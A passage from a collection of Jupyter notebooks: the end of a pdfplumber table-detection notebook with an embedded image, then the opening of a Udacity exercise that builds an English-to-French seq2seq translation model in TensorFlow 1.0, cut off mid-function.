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\n", "text/plain": [ "<pdfplumber.display.PageImage at 0x112b41610>" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "im.debug_tablefinder()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "\n", "---\n", "\n", "---" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.1" } }, "nbformat": 4, "nbformat_minor": 4 }

mit

dxl0632/deeplearning_nd_udacity

language-translation/dlnd_language_translation.ipynb

1

40131

{ "cells": [ { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "# Language Translation\n", "In this project, you’re going to take a peek into the realm of neural network machine translation. You’ll be training a sequence to sequence model on a dataset of English and French sentences that can translate new sentences from English to French.\n", "## Get the Data\n", "Since translating the whole language of English to French will take lots of time to train, we have provided you with a small portion of the English corpus." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import helper\n", "import problem_unittests as tests\n", "\n", "source_path = 'data/small_vocab_en'\n", "target_path = 'data/small_vocab_fr'\n", "source_text = helper.load_data(source_path)\n", "target_text = helper.load_data(target_path)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Explore the Data\n", "Play around with view_sentence_range to view different parts of the data." ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Dataset Stats\n", "Roughly the number of unique words: 227\n", "Number of sentences: 137861\n", "Average number of words in a sentence: 13.225277634719028\n", "\n", "English sentences 0 to 10:\n", "new jersey is sometimes quiet during autumn , and it is snowy in april .\n", "the united states is usually chilly during july , and it is usually freezing in november .\n", "california is usually quiet during march , and it is usually hot in june .\n", "the united states is sometimes mild during june , and it is cold in september .\n", "your least liked fruit is the grape , but my least liked is the apple .\n", "his favorite fruit is the orange , but my favorite is the grape .\n", "paris is relaxing during december , but it is usually chilly in july .\n", "new jersey is busy during spring , and it is never hot in march .\n", "our least liked fruit is the lemon , but my least liked is the grape .\n", "the united states is sometimes busy during january , and it is sometimes warm in november .\n", "\n", "French sentences 0 to 10:\n", "new jersey est parfois calme pendant l' automne , et il est neigeux en avril .\n", "les états-unis est généralement froid en juillet , et il gèle habituellement en novembre .\n", "california est généralement calme en mars , et il est généralement chaud en juin .\n", "les états-unis est parfois légère en juin , et il fait froid en septembre .\n", "votre moins aimé fruit est le raisin , mais mon moins aimé est la pomme .\n", "son fruit préféré est l'orange , mais mon préféré est le raisin .\n", "paris est relaxant en décembre , mais il est généralement froid en juillet .\n", "new jersey est occupé au printemps , et il est jamais chaude en mars .\n", "notre fruit est moins aimé le citron , mais mon moins aimé est le raisin .\n", "les états-unis est parfois occupé en janvier , et il est parfois chaud en novembre .\n" ] } ], "source": [ "view_sentence_range = (0, 10)\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import numpy as np\n", "\n", "print('Dataset Stats')\n", "print('Roughly the number of unique words: {}'.format(len({word: None for word in source_text.split()})))\n", "\n", "sentences = source_text.split('\\n')\n", "word_counts = [len(sentence.split()) for sentence in sentences]\n", "print('Number of sentences: {}'.format(len(sentences)))\n", "print('Average number of words in a sentence: {}'.format(np.average(word_counts)))\n", "\n", "print()\n", "print('English sentences {} to {}:'.format(*view_sentence_range))\n", "print('\\n'.join(source_text.split('\\n')[view_sentence_range[0]:view_sentence_range[1]]))\n", "print()\n", "print('French sentences {} to {}:'.format(*view_sentence_range))\n", "print('\\n'.join(target_text.split('\\n')[view_sentence_range[0]:view_sentence_range[1]]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Implement Preprocessing Function\n", "### Text to Word Ids\n", "As you did with other RNNs, you must turn the text into a number so the computer can understand it. In the function `text_to_ids()`, you'll turn `source_text` and `target_text` from words to ids. However, you need to add the `<EOS>` word id at the end of each sentence from `target_text`. This will help the neural network predict when the sentence should end.\n", "\n", "You can get the `<EOS>` word id by doing:\n", "```python\n", "target_vocab_to_int['<EOS>']\n", "```\n", "You can get other word ids using `source_vocab_to_int` and `target_vocab_to_int`." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def text_to_ids(source_text, target_text, source_vocab_to_int, target_vocab_to_int):\n", " \"\"\"\n", " Convert source and target text to proper word ids\n", " :param source_text: String that contains all the source text.\n", " :param target_text: String that contains all the target text.\n", " :param source_vocab_to_int: Dictionary to go from the source words to an id\n", " :param target_vocab_to_int: Dictionary to go from the target words to an id\n", " :return: A tuple of lists (source_id_text, target_id_text)\n", " \"\"\"\n", " source_id_text = [[source_vocab_to_int[word] for word in sent.split()] for sent in source_text.split(\"\\n\")]\n", " target_id_text = [[target_vocab_to_int[word] for word in (sent + ' <EOS>').split()] for sent in target_text.split(\"\\n\")]\n", " return (source_id_text, target_id_text)\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_text_to_ids(text_to_ids)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Preprocess all the data and save it\n", "Running the code cell below will preprocess all the data and save it to file." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "helper.preprocess_and_save_data(source_path, target_path, text_to_ids)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Check Point\n", "This is your first checkpoint. If you ever decide to come back to this notebook or have to restart the notebook, you can start from here. The preprocessed data has been saved to disk." ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import numpy as np\n", "import helper\n", "\n", "(source_int_text, target_int_text), (source_vocab_to_int, target_vocab_to_int), _ = helper.load_preprocess()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Check the Version of TensorFlow and Access to GPU\n", "This will check to make sure you have the correct version of TensorFlow and access to a GPU" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "TensorFlow Version: 1.0.1\n", "Default GPU Device: /gpu:0\n" ] } ], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "from distutils.version import LooseVersion\n", "import warnings\n", "import tensorflow as tf\n", "\n", "# Check TensorFlow Version\n", "assert LooseVersion(tf.__version__) in [LooseVersion('1.0.0'), LooseVersion('1.0.1')], 'This project requires TensorFlow version 1.0 You are using {}'.format(tf.__version__)\n", "print('TensorFlow Version: {}'.format(tf.__version__))\n", "\n", "# Check for a GPU\n", "if not tf.test.gpu_device_name():\n", " warnings.warn('No GPU found. Please use a GPU to train your neural network.')\n", "else:\n", " print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Build the Neural Network\n", "You'll build the components necessary to build a Sequence-to-Sequence model by implementing the following functions below:\n", "- `model_inputs`\n", "- `process_decoding_input`\n", "- `encoding_layer`\n", "- `decoding_layer_train`\n", "- `decoding_layer_infer`\n", "- `decoding_layer`\n", "- `seq2seq_model`\n", "\n", "### Input\n", "Implement the `model_inputs()` function to create TF Placeholders for the Neural Network. It should create the following placeholders:\n", "\n", "- Input text placeholder named \"input\" using the TF Placeholder name parameter with rank 2.\n", "- Targets placeholder with rank 2.\n", "- Learning rate placeholder with rank 0.\n", "- Keep probability placeholder named \"keep_prob\" using the TF Placeholder name parameter with rank 0.\n", "\n", "Return the placeholders in the following the tuple (Input, Targets, Learing Rate, Keep Probability)" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def model_inputs():\n", " \"\"\"\n", " Create TF Placeholders for input, targets, and learning rate.\n", " :return: Tuple (input, targets, learning rate, keep probability)\n", " \"\"\"\n", " # TODO: Implement Function\n", " input = tf.placeholder(tf.int32, shape=(None, None), name='input')\n", " targets = tf.placeholder(tf.int32, shape=(None, None))\n", " lr = tf.placeholder(tf.float32)\n", " keep_prob = tf.placeholder(tf.float32, name='keep_prob')\n", " return (input, targets, lr, keep_prob)\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_model_inputs(model_inputs)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Process Decoding Input\n", "Implement `process_decoding_input` using TensorFlow to remove the last word id from each batch in `target_data` and concat the GO ID to the beginning of each batch." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def process_decoding_input(target_data, target_vocab_to_int, batch_size):\n", " \"\"\"\n", " Preprocess target data for decoding\n", " :param target_data: Target Placeholder\n", " :param target_vocab_to_int: Dictionary to go from the target words to an id\n", " :param batch_size: Batch Size\n", " :return: Preprocessed target data\n", " \"\"\"\n", " # TODO: Implement Function\n", " ending = tf.strided_slice(target_data, begin=[0, 0], end=[batch_size, -1], strides=[1, 1])\n", " dec_input = tf.concat([tf.fill([batch_size, 1], target_vocab_to_int['<GO>']), ending], 1)\n", " \n", " return dec_input\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_process_decoding_input(process_decoding_input)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Encoding\n", "Implement `encoding_layer()` to create a Encoder RNN layer using [`tf.nn.dynamic_rnn()`](https://www.tensorflow.org/api_docs/python/tf/nn/dynamic_rnn)." ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def encoding_layer(rnn_inputs, rnn_size, num_layers, keep_prob):\n", " \"\"\"\n", " Create encoding layer\n", " :param rnn_inputs: Inputs for the RNN\n", " :param rnn_size: RNN Size\n", " :param num_layers: Number of layers\n", " :param keep_prob: Dropout keep probability\n", " :return: RNN state\n", " \"\"\"\n", " # TODO: Implement Function\n", " enc_cell = tf.contrib.rnn.MultiRNNCell([tf.contrib.rnn.BasicLSTMCell(rnn_size) for _ in range(num_layers)])\n", " dropout = tf.contrib.rnn.DropoutWrapper(enc_cell, output_keep_prob=keep_prob)\n", " _, enc_state = tf.nn.dynamic_rnn(dropout, rnn_inputs, dtype=tf.float32)\n", " return enc_state\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_encoding_layer(encoding_layer)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Decoding - Training\n", "Create training logits using [`tf.contrib.seq2seq.simple_decoder_fn_train()`](https://www.tensorflow.org/versions/r1.0/api_docs/python/tf/contrib/seq2seq/simple_decoder_fn_train) and [`tf.contrib.seq2seq.dynamic_rnn_decoder()`](https://www.tensorflow.org/versions/r1.0/api_docs/python/tf/contrib/seq2seq/dynamic_rnn_decoder). Apply the `output_fn` to the [`tf.contrib.seq2seq.dynamic_rnn_decoder()`](https://www.tensorflow.org/versions/r1.0/api_docs/python/tf/contrib/seq2seq/dynamic_rnn_decoder) outputs." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def decoding_layer_train(encoder_state, dec_cell, dec_embed_input, sequence_length, decoding_scope,\n", " output_fn, keep_prob):\n", " \"\"\"\n", " Create a decoding layer for training\n", " :param encoder_state: Encoder State\n", " :param dec_cell: Decoder RNN Cell\n", " :param dec_embed_input: Decoder embedded input\n", " :param sequence_length: Sequence Length\n", " :param decoding_scope: TenorFlow Variable Scope for decoding\n", " :param output_fn: Function to apply the output layer\n", " :param keep_prob: Dropout keep probability\n", " :return: Train Logits\n", " \"\"\"\n", " # TODO: Implement Function\n", " # drop out\n", " dec_cell = tf.contrib.rnn.DropoutWrapper(dec_cell, output_keep_prob=keep_prob)\n", " # generates a decoder fn\n", " dynamic_fn_train = tf.contrib.seq2seq.simple_decoder_fn_train(encoder_state)\n", " outputs_train, _, _ = 